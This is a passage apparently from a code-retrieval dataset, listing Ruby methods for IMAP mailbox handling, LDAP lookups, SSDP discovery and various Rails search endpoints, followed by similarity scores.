"def m_search(search_target, response_wait_time)\n <<-MSEARCH\nM-SEARCH * HTTP/1.1\\r\nHOST: #{MULTICAST_IP}:#{MULTICAST_PORT}\\r\nMAN: \"ssdp:discover\"\\r\nMX: #{response_wait_time}\\r\nST: #{search_target}\\r\n\\r\n MSEARCH\n end",
"def search(query)\n return [] if query.nil?\n\n @atoms = @storage.fetch(cleanup_query_tokens(query), query[/\\^/])\n queries = parse_query(query.dup)\n positive = run_queries(queries[:positive])\n positive_quoted = run_quoted_queries(queries[:positive_quoted])\n negative = run_queries(queries[:negative])\n negative_quoted = run_quoted_queries(queries[:negative_quoted])\n starts_with = run_queries(queries[:starts_with], true)\n start_quoted = run_quoted_queries(queries[:start_quoted], true)\n\n results = {}\n\n if queries[:start_quoted].any?\n results = merge_query_results(results, start_quoted)\n end\n\n if queries[:starts_with].any?\n results = merge_query_results(results, starts_with)\n end\n\n if queries[:positive_quoted].any?\n results = merge_query_results(results, positive_quoted)\n end\n\n if queries[:positive].any?\n results = merge_query_results(results, positive)\n end\n\n negative_results = (negative.keys + negative_quoted.keys)\n results.delete_if { |r_id, w| negative_results.include?(r_id) }\n results\n end",
"def find_in_batches(options={}, &block)\n options[:count] ||= :all\n options = validate_options(options)\n mailbox = options[:mailbox]\n batch_size = options.delete(:batch_size) || 10\n\n start do |imap|\n info \"find_in_batches block\"\n info \"imap.examine/select #{options[:mailbox]}\"\n options[:read_only] ? imap.examine(options[:mailbox]) : imap.select(options[:mailbox])\n\n info \"imap.responses #{\"UIDVALIDITY\"}\"\n validity = imap.responses[\"UIDVALIDITY\"].first\n info \"imap.uid_search #{options[:keys]}\"\n uids = imap.uid_search(options[:keys])\n uids.replace(options[:what].to_sym == :last ? uids.last(options[:count]) : uids.first(options[:count])) if options[:count].is_a?(Integer)\n\n if block_given?\n uids.each_slice(batch_size) do |batch|\n results = []\n info \"imap.uid_fetch #{batch} #{\"(UID FLAGS RFC822.SIZE INTERNALDATE RFC822 BODY.PEEK[HEADER.FIELDS (MESSAGE-ID)])\"}\"\n imap.uid_fetch(batch, \"(UID FLAGS RFC822.SIZE INTERNALDATE RFC822 BODY.PEEK[HEADER.FIELDS (MESSAGE-ID)])\").each do |data|\n uid = data.attr['UID'].to_i\n flags = data.attr['FLAGS'].map {|flag| flag.to_s.downcase.to_sym}\n message_size = data.attr['RFC822.SIZE'].to_i\n message_date = Time.parse(data.attr['INTERNALDATE'])\n rfc822 = data.attr['RFC822']\n results << Message.new(rfc822,{folder: mailbox, validity: validity, uid: uid, flags: flags, message_size: message_size, message_date: message_date})\n end\n info \"imap.uid_store #{batch} #{\"+FLAGS\"} #{[Net::IMAP::DELETED]}\" if options[:delete_after_find]\n imap.uid_store(batch, \"+FLAGS\", [Net::IMAP::DELETED]) if options[:delete_after_find]\n yield results\n end\n info \"imap.expunge\" if options[:delete_after_find]\n imap.expunge if options[:delete_after_find]\n end\n end\n end",
"def index\n @mail_item = MailItem.new #use for search form\n\n @mail_items = if params[:mail_item] && (query = params[:mail_item][:email])\n MailItem.where(:user_id => current_user.id)\n .where('email like ? OR source_name like ? OR name like ?', \"%#{query}%\", \"%#{query}%\", \"%#{query}%\")\n .paginate(:page => params[:page] || 1, :per_page => 50).order(\"updated_at DESC\")\n else\n MailItem.where(:user_id => current_user.id)\n .paginate(:page => params[:page] || 1, :per_page => 50).order(\"updated_at DESC\")\n end\n end",
"def watchMail(imap, folder)\n \n # Loop for checking message increase in the folder\n begin\n \n imap.select(folder)\n \n # Get the current folder size\n fsize = imap.status(folder, [\"MESSAGES\"])\n csize = fsize[\"MESSAGES\"]\n \n loop do\n fsize = imap.status(folder, [\"MESSAGES\"])\n if fsize[\"MESSAGES\"] > csize\n message_ids = imap.uid_search(\"ALL\")\n uid = message_ids.last\n email = imap.uid_fetch(uid, \"ENVELOPE\")[0].attr[\"ENVELOPE\"]\n pp \"[#{email.from[0].name}] #{email.subject}\"\n csize = fsize[\"MESSAGES\"]\n else\n sleep(10)\n end\n end\n rescue => e\n exit(1)\n end\nend",
"def search(query, state = 'open')\n Core.search(:user => @user, :repo => @repo, :state => state, :search_term => query)\n end",
"def index\n if params[:search]\n @messages = Message.search( params[:search],\n :per_page => params[:per_page],\n :page => params[:page],\n :with => { :channel_id => @channel.id})\n size = @messages.total_entries\n else\n options = {}\n if params[:per_page]\n options[:limit] = params[:per_page].to_i\n if params[:page] && params[:page].to_i >= 1\n options[:offset] = params[:per_page].to_i * (params[:page].to_i-1)\n end\n end\n options[:conditions] = {:channel_id => @channel.id }\n if params[:exclude_replies]\n options[:conditions][:reference_to] = nil\n end\n\n sort_order = 'DESC'\n if params[:sort_order]\n if params[:sort_order] == 'ascending'\n sort_order = 'ASC'\n elsif params[:sort_order] == 'descending'\n sort_order = 'DESC'\n end\n end\n options[:order] = 'updated_at ' + sort_order\n @messages = Message.all(options)\n size = Message.count(:conditions => options[:conditions])\n end\n render_json :entry => @messages, :size => size and return\n end",
"def more_messages(message_id, limit=100)\n log \"More_messages: message_id #{message_id}\"\n message_id = message_id.to_i\n if @all_search \n x = [(message_id - limit), 0].max\n y = [message_id - 1, 0].max\n\n res = fetch_row_text((x..y))\n add_more_message_line(res, x)\n else # filter search query\n log \"@start_index #@start_index\"\n x = [(@start_index - limit), 0].max\n y = [@start_index - 1, 0].max\n @start_index = x\n res = fetch_row_text(@ids[x..y]) \n add_more_message_line(res, @ids[x])\n end\n end",
"def do_search(results, term, options)\n wait\n \n esearch_url = expand_uri(@uri_template, options.merge({:term => term}))\n doc = Nokogiri::XML( open esearch_url )\n\n results.count = doc.xpath('/eSearchResult/Count').first.content.to_i\n \n doc.xpath('/eSearchResult/IdList/Id').each {|n| results.pmids << n.content.to_i}\n \n doc.xpath('/eSearchResult/TranslationStack/TermSet/Term').each do |n|\n if n.content =~ /\"(.*)\"\\[MeSH Terms\\]/\n results.exploded_mesh_terms << $1\n end\n end\n \n doc.xpath('/eSearchResult/ErrorList/PhraseNotFound').each {|n| results.phrases_not_found << n.content }\n\n results\n end",
"def search_addressbook\n emails = Array.new \n flag = params[:q].to_s.match(/\\A[+-]?\\d+?(\\.\\d+)?\\Z/) == nil ? false : true\n id_search = false\n if flag\n filter = params[:q].length == 6 ? Net::LDAP::Filter.eq( \"sAMAccountName\", \"#{params[:q]}\" ) : \"\"\n id_search = true\n else\n filter = Net::LDAP::Filter.eq( \"mail\", \"*#{params[:q]}*\")\n end\n unless filter == \"\"\n ldap_connection.search( :base => AppConfig[:ldap_treebase], :filter => filter , :attributes => [\"sAMAccountName\", \"mail\"], :size => 10) do |entry|\n emails << {:name => \"#{entry[:mail].first} (#{entry[:samaccountname].first})\" , :value => entry[:mail].first}\n end\n end\n emails\n end",
"def search(query, options={})\n self.perform_get(\"/search\", {\n :q => query\n }.merge(options|| {}))\n end",
"def searching\n prepare_phrases.each do |phrase|\n searching_single(phrase)\n end\n end",
"def search_selection\n puts SEARCH\n @query = STDIN.gets.chomp\n\n case @query\n when EXIT_COMMAND\n @loop = false\n when HELP_COMMAND\n show_help\n when FILE_COMMAND\n specify_files_to_search\n else\n system 'clear'\n process_search\n end\n end",
"def search(query)\n results(query).map { |r| result_class.new(r) }\n end",
"def auto_complete_for_message_to\n query = params[:message][:to]\n @people = Person.all(:order => \"last_name ASC\", :conditions => ['first_name LIKE ? or last_name LIKE ?', \"#{query}%\", \"#{query}%\"])\n render :partial=>\"auto_complete_for_message_to\"\n end",
"def nearby_search\n messages = []\n mutual_communities_ids = []\n undercover_messages = []\n current_ids = []\n current_ids = params[:current_ids] if params[:current_ids].present?\n \n # network = Network.find_by(post_code: params[:post_code])\n\n messages = Undercover::CheckNear.new(\n params[:post_code],\n params[:lng],\n params[:lat],\n current_user,\n messages\n ).perform\n\n message_ids = messages.map(&:id)\n\n # If user is connected then show mutual public and private communities but avoid showing semi public communities\n # As it can directly accessible though it is private and without password\n # If user not connected then show mutual public communities.\n if params[:with_mutual_connected_communities] && params[:with_mutual_connected_communities] == 'true'\n # find the connected users of community\n community = Message.find(params[:message_id])\n connected_user_ids = community.room.rooms_users.map(&:user_id)\n mutual_rooms_ids = RoomsUser.where(user_id: connected_user_ids).map(&:room_id)\n\n room_message_ids = Room.where(id: mutual_rooms_ids).map(&:message_id)\n if message_ids.count > 0\n if params[:is_connected] == 'true'\n # get public, private (avoid semi public) communities of connected users + get nearby all public and private communities\n mutual_communities = Message.by_messageable_type('Network')\n .by_ids(room_message_ids)\n .by_not_deleted\n .where(\"message_type is null or message_type = 'CUSTOM_LOCATION' or message_type = 'NONCUSTOM_LOCATION'\")\n .where.not('(public = false and locked = false)')\n\n mutual_communities_ids = mutual_communities.map(&:id)\n\n message_ids = messages.map(&:id)\n message_ids = message_ids + mutual_communities_ids\n else\n # get public (avoid semi public) communities of connected users + get nearby public communities\n mutual_communities = Message.by_messageable_type('Network')\n .by_ids(room_message_ids)\n .by_not_deleted\n .where(\"message_type is null or message_type = 'CUSTOM_LOCATION' or message_type = 'NONCUSTOM_LOCATION'\")\n .where('public = true')\n\n mutual_communities_ids = mutual_communities.map(&:id)\n\n nearby_public_messages = Message.by_ids(message_ids)\n .where.not('(public = false)')\n\n message_ids = nearby_public_messages.map(&:id)\n message_ids = message_ids + mutual_communities_ids\n end\n end\n end\n\n message_ids = message_ids.uniq\n\n if params[:message_type] && params[:message_type] != ''\n undercover_messages =\n Message.by_ids(message_ids)\n .by_not_deleted\n .without_blacklist(current_user)\n .without_deleted(current_user)\n .where(messageable_type: 'Network')\n .where(message_type: params[:message_type])\n .where.not('(public = false and locked = false)')\n .sort_by_points(params[:limit], params[:offset])\n else\n undercover_messages =\n Message.by_ids(message_ids)\n .by_not_deleted\n .without_blacklist(current_user)\n .without_deleted(current_user)\n .where(messageable_type: 'Network')\n .where.not('(public = false and locked = false)')\n .sort_by_points(params[:limit], params[:offset])\n end\n\n undercover_messages.each { |message| message.current_user = current_user }\n\n render json: {\n messages: undercover_messages.as_json(\n methods: %i[\n avatar_url image_urls video_urls like_by_user legendary_by_user user is_synced\n text_with_links post_url expire_at has_expired is_connected locked_by_user is_followed line_locked_by_user\n ]\n )\n }\n end",
"def inbox\n cur_emp = get_logged_employee\n @messages = Message.where(\"sent_to = ?\", cur_emp).where(:is_deleted => nil )\n render \"resumes/message_show\"\n end",
"def search(path, query, opts = {})\n optional_inputs = {\n file_limit: 1000,\n include_deleted: false,\n include_membership: false,\n }.merge(opts)\n input_json = {\n path: path,\n query: query,\n file_limit: optional_inputs[:file_limit],\n include_deleted: optional_inputs[:include_deleted],\n include_membership: optional_inputs[:include_membership],\n }\n response = @session.do_rpc_endpoint(\"/#{ @namespace }/search\", input_json)\n Dropbox::API::SearchResults.from_json(Dropbox::API::HTTP.parse_rpc_response(response))\n end",
"def search(query, path=\"/\")\n # TODO: Only query the API if the filetree search is unsuccessful\n url = File.join(\"search/auto\", path)\n payload = { query: query}\n connexion = Dropbox.start(:search, access_token)\n response = connexion.post do |req|\n req.url url\n req.body = payload\n end\n\n format_response(response)\n end",
"def post_init\n if send_datagram(@search, MULTICAST_IP, MULTICAST_PORT) > 0\n logger.info(\"Sent datagram search:\\n#{@search}\")\n end\n end",
"def search(path, options={})\n $LEDGER.search(path, options)\n end",
"def search word\n # No need to enclose the following in a EM.run block b/c TweetStream does this when \n # it initializes the client.\n puts \"entering\"\n q = last_search_query(word) \n current_search = next_search(word, q)\n #jump first one beacause of max_id including last one\n q = q.merge(current_search.next_results)\n current_search = next_search(word, q)\n puts \"#{current_search.attrs[:search_metadata]}\"\n while current_search.next_results? do\n current_search.results.each do |tweet|\n unless same_tweet(tweet)\n raw_tweet_to_tweet(tweet, word).save\n end\n end\n q = q.merge(current_search.next_results)\n current_search = next_search(word, q)\n end\n end",
"def find_folders(options={}, &block)\n options[:mailbox] ||= ''\n options[:count] ||= :all\n\n options = validate_options(options)\n mailbox = options[:mailbox] || ''\n mailbox = Net::IMAP.encode_utf7(mailbox)\n mailbox = mailbox.empty? ? '*' : \"#{mailbox}/*\"\n include = options[:include] ||= '*'\n exclude = options[:exclude] ||= nil\n include_flags = options[:include_flags] ||= nil\n exclude_flags = options[:exclude_flags] ||= [:Noselect, :All, :Drafts, :Important, :Junk, :Flagged, :Trash]\n\n start do |imap|\n info \"find_folders block\"\n info \"imap.lsub/list #{mailbox}\"\n boxes = options[:subscribed] ? imap.lsub('', mailbox) : imap.list('', mailbox)\n boxes.replace(options[:what].to_sym == :last ? boxes.last(options[:count]) : boxes.first(options[:count])) if options[:count].is_a?(Integer)\n\n if block_given?\n boxes.each do |box|\n name = Net::IMAP.decode_utf7(box.name)\n flags = box.attr ? box.attr.map{|e| e.to_s.downcase.to_sym} : nil\n next if match_folder(name, exclude) || match_folder_flags(flags, exclude_flags)\n next unless match_folder(name, include) || match_folder_flags(flags, include_flags)\n info \"imap.status #{box.name} #{[\"MESSAGES\", \"UNSEEN\", \"UIDVALIDITY\", \"UIDNEXT\"]}\"\n status = imap.status(box.name, [\"MESSAGES\", \"UNSEEN\", \"UIDVALIDITY\", \"UIDNEXT\"])\n yield Folder.new(name, delim: box.delim, flags: flags, messages: status['MESSAGES'], unseen: status['UNSEEN'], validity: status['UIDVALIDITY'], next: status['UIDNEXT'])\n end unless boxes.nil?\n else\n folders = []\n boxes.each do |box|\n name = Net::IMAP.decode_utf7(box.name)\n flags = box.attr ? box.attr.map{|e| e.to_s.downcase.to_sym} : nil\n next if match_folder(name, exclude) || match_folder_flags(flags, exclude_flags)\n next unless match_folder(name, include) || match_folder_flags(flags, include_flags)\n info \"imap.status #{box.name} #{[\"MESSAGES\", \"UNSEEN\", \"UIDVALIDITY\", \"UIDNEXT\"]}\"\n status = imap.status(box.name, [\"MESSAGES\", \"UNSEEN\", \"UIDVALIDITY\", \"UIDNEXT\"])\n folders << Folder.new(name, delim: box.delim, flags: flags, messages: status['MESSAGES'], unseen: status['UNSEEN'], validity: status['UIDVALIDITY'], next: status['UIDNEXT'])\n end unless boxes.nil?\n folders.size == 1 && options[:count] == 1 ? folders.first : folders\n end\n end\n end"
] |
[
"0.68250227",
"0.6796713",
"0.6754854",
"0.6514663",
"0.64533526",
"0.6420654",
"0.633213",
"0.61966133",
"0.6152992",
"0.61162645",
"0.6069581",
"0.6020681",
"0.59750456",
"0.59123677",
"0.5904718",
"0.58945495",
"0.5879902",
"0.5842571",
"0.5825787",
"0.57607925",
"0.5750077",
"0.57358783",
"0.5723819",
"0.5720952",
"0.5712681",
"0.57006675",
"0.5678637",
"0.56396526",
"0.55874354",
"0.5569943",
"0.5560892",
"0.55228007",
"0.55193913",
"0.5519285",
"0.55172294",
"0.55171543",
"0.5512221",
"0.5478511",
"0.54722214",
"0.54642135",
"0.545087",
"0.543759",
"0.5432351",
"0.5432227",
"0.542988",
"0.54245615",
"0.5421862",
"0.54197997",
"0.5391898",
"0.539038",
"0.53799516",
"0.53603774",
"0.5344565",
"0.53410214",
"0.53348696",
"0.5329767",
"0.532511",
"0.53243464",
"0.53207433",
"0.5298666",
"0.5294573",
"0.52740145",
"0.52718675",
"0.5262402",
"0.52511996",
"0.52403075",
"0.5230806",
"0.51954395",
"0.5179773",
"0.5171",
"0.5169637",
"0.51695716",
"0.51695716",
"0.5150985",
"0.51436216",
"0.5130816",
"0.51222265",
"0.51108897",
"0.5106379",
"0.51039636",
"0.5097939",
"0.50966316",
"0.50884426",
"0.5084416",
"0.50835574",
"0.5080861",
"0.5078099",
"0.5077214",
"0.5076062",
"0.50752974",
"0.5069284",
"0.50657684",
"0.5052479",
"0.5047789",
"0.50454336",
"0.504158",
"0.50370896",
"0.5033384",
"0.5026435",
"0.50180244"
] |
0.84486043
|
0
|
Marks +messages+ in the currently selected mailbox with +flags+ (see Net::IMAPstore).
|
def mark(messages, flags)
messages.each_slice(500) do |chunk|
@imap.store chunk, '+FLAGS.SILENT', flags
end
log "Marked messages with flags"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def markMail(imap, folder)\n pp \"MARKED #{folder}..\"\n message_ids = imap.uid_search(\"ALL\")\n imap.uid_store(message_ids, \"+FLAGS\", [:Seen])\n imap.expunge\nend",
"def run(message, flags)\n log message\n\n message_count = 0\n mailboxes = find_mailboxes\n\n mailboxes.each do |mailbox|\n @mailbox = mailbox\n @imap.select @mailbox\n log \"Selected #{@mailbox}\"\n\n messages = find_messages\n\n next if messages.empty?\n\n message_count += messages.length\n\n unless @noop then\n mark messages, flags\n else\n log \"Noop - not marking\"\n end\n\n yield messages if block_given?\n end\n\n log \"Done. Found #{message_count} messages in #{mailboxes.length} mailboxes\"\n end",
"def set_mailbox\n imap.select(@mailbox.name) if logged_in?\n end",
"def mark_as_unread(options = {})\n default_options = {:conditions => [\"mail_items.mailbox != ?\",@user.mailbox_types[:sent].to_s]}\n add_mailbox_condition!(default_options, @type)\n return update_mail(\"mail_items.read = false\", default_options, options)\n end",
"def move_to_inbox(options={})\n update_receipts({:mailbox_type => :inbox, :trashed => false}, options)\n end",
"def run\n log \"Flagging tasty messages\"\n\n message_count = 0\n mailboxes = find_mailboxes\n\n mailboxes.each do |mailbox|\n @mailbox = mailbox\n @imap.select @mailbox\n log \"Selected #{@mailbox}\"\n\n message_count += process_unlearned_flagged\n message_count += process_tasty_unflagged\n message_count += process_bland_flagged\n message_count += process_unlearned\n end\n\n log \"Done. Found #{message_count} messages in #{mailboxes.length} mailboxes\"\n end",
"def move_to_inbox\n update_attributes(:mailbox_type => :inbox, :trashed => false)\n end",
"def move_to_inbox\n update_attributes(mailbox_type: :inbox, trashed: false)\n end",
"def imap_select_inbox\n imap.select('INBOX')\n end",
"def move_to_inbox(options = {})\n update_receipts({ mailbox_type: :inbox, trashed: false }, options)\n end",
"def mark_as_read(options = {})\n default_options = {}\n add_mailbox_condition!(default_options, @type)\n return update_mail(\"mail_items.read = true\", default_options, options)\n end",
"def set_inbox\n @inbox = current_user.inboxes.find(params[:id])\n end",
"def sync_new(mailbox)\n # Skip any mailbox with attributes in ignore_attr\n return if ! (mailbox.attr & @@ignore_attr).empty?\n return if !@running\n\n name = Net::IMAP.decode_utf7(mailbox.name)\n cache = @mailboxes[name] || Mailbox.new(name)\n\n puts \"Examining mailbox #{name}\"\n\n begin\n @imap.examine(mailbox.name)\n rescue => e\n puts \"Failed to examine mailbox: #{e}\"\n return\n end\n\n uidvalidity = @imap.responses[\"UIDVALIDITY\"][-1]\n uidnext = @imap.responses[\"UIDNEXT\"][-1]\n\n if cache.uidvalidity != uidvalidity\n puts \"UIDVALIDITY differ, rescaning all mailbox\"\n ids = @imap.search([\"NOT\", \"DELETED\"])\n else\n if (cache.uidmax + 1 == uidnext)\n puts \"No new messages\"\n return\n end\n puts \"UIDVALIDITY match, get new messages only\"\n ids = ((cache.uidmax + 1) .. uidnext).to_a\n end\n\n puts \"; got #{ids.size} messages\"\n\n while(!(block = ids.shift(@@buf_size)).empty?)\n\n break if ! @running\n puts \"; requesting messages #{block.first}..#{block.last} from server\"\n\n msgs = @imap.fetch((block.first..block.last), [\"UID\", \"X-GM-MSGID\", \"X-GM-THRID\", \"X-GM-LABELS\", \"FLAGS\", \"RFC822\"])\n\n if ! msgs\n puts msgs\n next\n end\n\n msgs.each { |msg|\n break if ! @running\n\n body = msg.attr[\"RFC822\"]\n body.force_encoding(\"binary\") if body.respond_to?(:force_encoding) \n body.gsub(\"\\r\\n\", \"\\n\")\n\n labels = msg.attr[\"X-GM-LABELS\"].push(name).collect { |label| Net::IMAP.decode_utf7(label.to_s) }\n\n state = msg.attr[\"FLAGS\"].collect { |flag| flag.to_s.downcase.to_sym }\n puts state\n\n begin\n response = RestClient.post \"http://localhost:8042/message.json\", \n { :body => body, :labels => labels, :state => state, :mailbox => name },\n { :content_type => :json, :accept => :json}\n rescue RestClient::ResourceNotFound => e\n puts \"Warning: resource not found\"\n next\n rescue => e\n puts \"Failed to communicate with heliotrope : #{e.class}\"\n @running = false\n break\n end\n\n puts response \n response = JSON.parse(response)\n\n if response[\"response\"] == \"ok\"\n if response[\"status\"] == \"seen\"\n cache.num_seen += 1\n else\n cache.num_indexed += 1\n end\n else\n cache.num_bad += 1\n puts \"Error for message: \" + response[\"error_message\"]\n end\n\n cache.uidmax = [cache.uidmax || 0, msg.attr[\"UID\"]].max\n }\n end\n\n puts \"Store mailbox #{name} cache\"\n cache.uidnext = uidnext\n cache.uidvalidity = uidvalidity\n @mailboxes[name] = cache\n save_mailboxes\n end",
"def mark_as_read\n\t\tunread_messages = current_user.received_messages.where(read: false).order('id desc').limit(10)\n\t\tunread_messages.each do |m|\n\t\t\tm.update_attribute(:read, true)\n\t\t\tm.save\n\t\tend\n\t\tredirect_to request.referer\n\tend",
"def mark_as_unread_message(safebox, message)\n raise SendSecureException.new(\"SafeBox GUID cannot be null\") if safebox.guid.nil?\n raise SendSecureException.new(\"Message cannot be null\") if message.nil?\n @json_client.mark_as_unread_message(safebox.guid, message.id)\n end",
"def inbox\r\n @messages = current_user.inbox_messages\r\n session[:mail_box] = \"inbox\"\r\n render :action => \"messages\"\r\n end",
"def change_mailbox(box, read_only=false)\n @current_box = box\n @read_only = read_only\n first = true\n begin\n if(read_only)\n begin\n imap.examine(box)\n rescue Net::IMAP::BadResponseError\n Logger.warn(\"Read-only connection to #{box} failed. Connecting directly\")\n imap.select(box)\n end\n else\n imap.select(box)\n end\n rescue IOError => boom\n if(first)\n Logger.warn(\"Change mailbox failed. Attempting a reconnect and retrying mailbox\")\n first = false\n reconnect\n retry\n else\n Logger.fatal(\"Failed to change mailbox. Connection error assumed: #{boom}\")\n raise boom\n end\n end\n end",
"def mark_message(message)\n self.message = message\n end",
"def mark_as_unread(options={})\n update_receipts({:is_read => false}, options)\n end",
"def mark_as_unread(options={})\n update_receipts({:is_read => false}, options)\n end",
"def mark_as_unread(obj)\n case obj\n when Mailboxer::Receipt\n obj.mark_as_unread if obj.receiver == self\n when Mailboxer::Message, Mailboxer::Notification\n obj.mark_as_unread(self)\n when Mailboxer::Conversation\n obj.mark_as_unread(self)\n when Array\n obj.map{ |sub_obj| mark_as_unread(sub_obj) }\n end\n end",
"def find_messages\n mailbox = @boxes.find { |box| @mailbox =~ /#{box}/ } # TODO: needs more work\n raise unless mailbox\n age = @cleanse[mailbox]\n before_date = (Time.now - 86400 * age).imapdate\n\n search [\n 'NOT', 'NEW',\n 'NOT', 'FLAGGED',\n 'BEFORE', before_date\n ], 'read, unflagged messages'\n end",
"def set_inbox\n @inbox = Inbox.find(params[:id])\n @account_inbox = @inbox.account_inboxes.find_by_account_id(current_account.id)\n end",
"def sync_messages\n Mail.connection do |imap|\n imap.select 'INBOX'\n validity_id = imap.responses[\"UIDVALIDITY\"].last if imap.responses[\"UIDVALIDITY\"]\n if Message.validity.eql? validity_id\n uids = imap.uid_search([\"NOT\", \"DELETED\"]).sort\n local_uids = Message.ids\n if uids != local_uids\n Sidekiq::Logging.logger.info \"*** Syncing Some ***\"\n new_ids = uids - local_uids\n deleted_ids = local_uids - uids\n unless new_ids.blank?\n fetchdata = imap.uid_fetch(new_ids, ['RFC822'])\n fetchdata.each do |rec|\n validity_id = imap.responses[\"UIDVALIDITY\"].last if imap.responses[\"UIDVALIDITY\"]\n msg = Message.new(uid: rec.attr['UID'], validity_id: validity_id, raw_message: rec.attr['RFC822'])\n msg.save\n end\n end\n self.sync_deleted(deleted_ids.map{|id| [validity_id,id].join ':'}) unless deleted_ids.blank?\n end\n else\n self.sync_all\n end\n Message.ids\n end\n end",
"def mailbox_convert_messages(mailbox_path, from_imap = false)\n api(\"MailboxConvertMessages\", mailbox_path, from_imap)\n end",
"def mark_unread!\n update_is_read_status false\n end",
"def mark_as_unread(options = {})\n update_receipts({ is_read: false }, options)\n end",
"def set_inbox\n @inbox = Inbox.find(params[:id])\n end",
"def set_inbox\n @inbox = Inbox.find(params[:id])\n end",
"def set_mailbox\n @mailbox = Mailbox.find(params[:id])\n end",
"def move_to(mailbox, options = {})\n mailbox = mailbox.to_sym\n trash = mailbox == @user.mailbox_types[:deleted].to_sym\n default_options = {}\n add_mailbox_condition!(default_options, @type)\n if(!trash)\n #conditional update because sentmail is always sentmail - I believe case if the most widely supported conditional, mysql also has an if which would work as well but i think mysql is the only one to support it\n return update_mail(\"mail_items.trashed = false, mail_items.mailbox = \n CASE mail_items.mailbox\n WHEN '#{@user.mailbox_types[:sent].to_s}' THEN mail_items.mailbox\n ELSE '#{mailbox.to_s}'\n END\", default_options, options)\n end\n return update_mail(\"mail_items.trashed = true\", default_options, options)\n end",
"def <<(message)\n @mailbox << message\n end",
"def mark_as_unread_message(safebox_guid, message_id)\n handle_error { sendsecure_connection.patch(\"api/v2/safeboxes/#{safebox_guid}/messages/#{message_id}/unread\") }\n end",
"def mark_notification_as_read!\n notification = User.find(@userid).notifications\n @received_msg.each do |notify|\n notification.update(notify['id'], :checked => true);\n end\n end",
"def mark_as_unread(safebox)\n raise SendSecureException.new(\"SafeBox GUID cannot be null\") if safebox.guid == nil\n @json_client.mark_as_unread(safebox.guid)\n end",
"def get_messages\n @connection.select('INBOX')\n @connection.search(['ALL']).each do |message_id|\n msg = @connection.fetch(message_id,'RFC822')[0].attr['RFC822']\n begin\n process_message(msg)\n rescue\n handle_bogus_message(msg)\n end\n # Mark message as deleted \n @connection.store(message_id, \"+FLAGS\", [:Deleted])\n end\n end",
"def move_to_sentbox\n update_attributes(:mailbox_type => :sentbox, :trashed => false)\n end",
"def mark_as_unread\n update_attributes(is_read: false)\n end",
"def mark_as_unread\n update_attributes(:is_read => false)\n end",
"def mark_as_unread\n update_attributes(:is_read => false)\n end",
"def messages\n selected_label = params[:label].blank? ? 'INBOX' : params[:label]\n \n begin\n\n unless selected_label.blank?\n @imap = WmailImapUtils.current_imap\n @imap.select(selected_label)\n @status = @imap.status(selected_label, ['MESSAGES', 'RECENT', 'UNSEEN'])\n max = @status['MESSAGES']\n min = @status['MESSAGES']-10\n @max = 10\n @min = 1\n @mailbox = selected_label\n @inbox = []\n\n min = 1 if (max <= 10 and max > 0)\n\n @inbox = @imap.fetch(min..max, 'ENVELOPE')\n @unseen_flags = @imap.search(['NOT','SEEN'])\n @imap.expunge\n end\n\n session[:selected_label] = selected_label\n \n respond_to do|format|\n format.html\n format.js\n end\n\n rescue\n\n respond_to do|format|\n format.html {redirect_to authenticate_wmail_accounts_path(:redirect => messages_mailbox_path(:label => selected_label)),\n :alert => 'Connection Lost. Please login to your account'}\n format.js\n end\n \n end\n \n end",
"def move_to_sentbox\n update_attributes(mailbox_type: :sentbox, trashed: false)\n end",
"def read_messages_via_imap\n\timap = Net::IMAP.new(server,port,usessl)\n\timap.login(mailid,password)\n\timap.select(folder)\n\tsince = included.blank? ? \"1-Jan-2000\" : included.yesterday.to_date.strftime(\"%e-%b-%Y\")\n\timap.uid_search([\"SINCE\",since]).each do |msg_id|\n\t\tnext unless mailmessages.find_by_uid(msg_id).nil?\n\t\tbody = imap.uid_fetch(msg_id,['RFC822']).first.attr['RFC822']\n\n\t\tMailfolderMailhandler::receive(body,self,msg_id)\n\t\timap.store(msg_id, \"+FLAG\", [:Deleted]) if delete_message?\n\tend\n\timap.expunge if delete_message?\n\timap.logout\n end",
"def inbox\n @messages = current_user.received_messages\n end",
"def activate_inbox\r\n flash[:success] = !@content.archived? ? \"Folder is already active\".t : (\"Activated folder '%s'\" / [@content.title_long])\r\n @content.update_attribute(:archived, false)\r\n redirect_to content_url(@content)\r\n end",
"def markmsgdelivered(msgid)\n req(\"markmsgdelivered\", \"\", \"\", msgid, \"\")\n end",
"def mark_as_unread(safebox_guid)\n handle_error { sendsecure_connection.patch(\"api/v2/safeboxes/#{safebox_guid}/mark_as_unread.json\") }\n end",
"def append(mailbox, message, flags=nil, date_time=nil)\n args = [to_utf7(mailbox)]\n args << flags if flags\n args << date_time if date_time\n args << Net::IMAP::Literal.new(message)\n tagged_response(\"APPEND\", *args)\n end",
"def set_to_read\n\t\t#We find all the messages in the current conversation\n\t\t@conversation_messages = PersonalMessage.where(conversation_id: @conversation).all\n\t\t@conversation_messages.each do |message|\n\t\t\t# We mark as read the messages recieved by the current user \n\t\t\tif message.user_id != current_user.id\n\t\t\t\tmessage.update(read: true) unless message.read != false\n\t\t\tend\n\t\tend\n\tend",
"def mark_all_messages_as_read(options={})\n RecipientsFor::ReaderInfo.where(\n reciveable_type: options[:reciveable].class.name,\n reciveable_id: options[:reciveable].id,\n ).update_all(read: true)\n end",
"def append_message(mailbox, message, flags, date=nil)\n #raise ReadOnlyMailbox.new(mailbox) if @read_only\n @lock.synchronize do\n\n begin\n if(message =~ /^(From - ... ... .+?[0-9]{4}\\n)/ && date.nil?)\n timestr = $1\n message.gsub(/^#{timestr}/, '')\n timestr.chomp\n begin\n date = Time.parse(timestr)\n rescue\n date = Time.now\n end\n end\n imap.append(mailbox, message, flags, date)\n Logger.info(\"New message added to #{mailbox}\")\n rescue Object => boom\n Logger.warn(\"Failed to transer message to #{mailbox}: #{boom}\")\n end\n end\n end",
"def show\n @message = current_user.messages.find(params[:id])\n @message.mark_as_unread\n end",
"def mark_as_unread\n post(\"/api/unread_message\", id: fullname)\n end",
"def mark_as_unread\n @client.post('/api/mod/conversations/unread', conversationIds: [get_attribute(:id)])\n end",
"def inbox\n @messages = current_user.received_messages\n respond_with @messages\n end",
"def store_internal(cmd, set, attr, flags)\n flags = flags.map(&:to_sym)\n set = Net::IMAP::MessageSet.new(set)\n collect_untagged_responses('FETCH', cmd, set, attr, flags).transform do |untagged_responses|\n untagged_responses.map(&:data)\n end\n end",
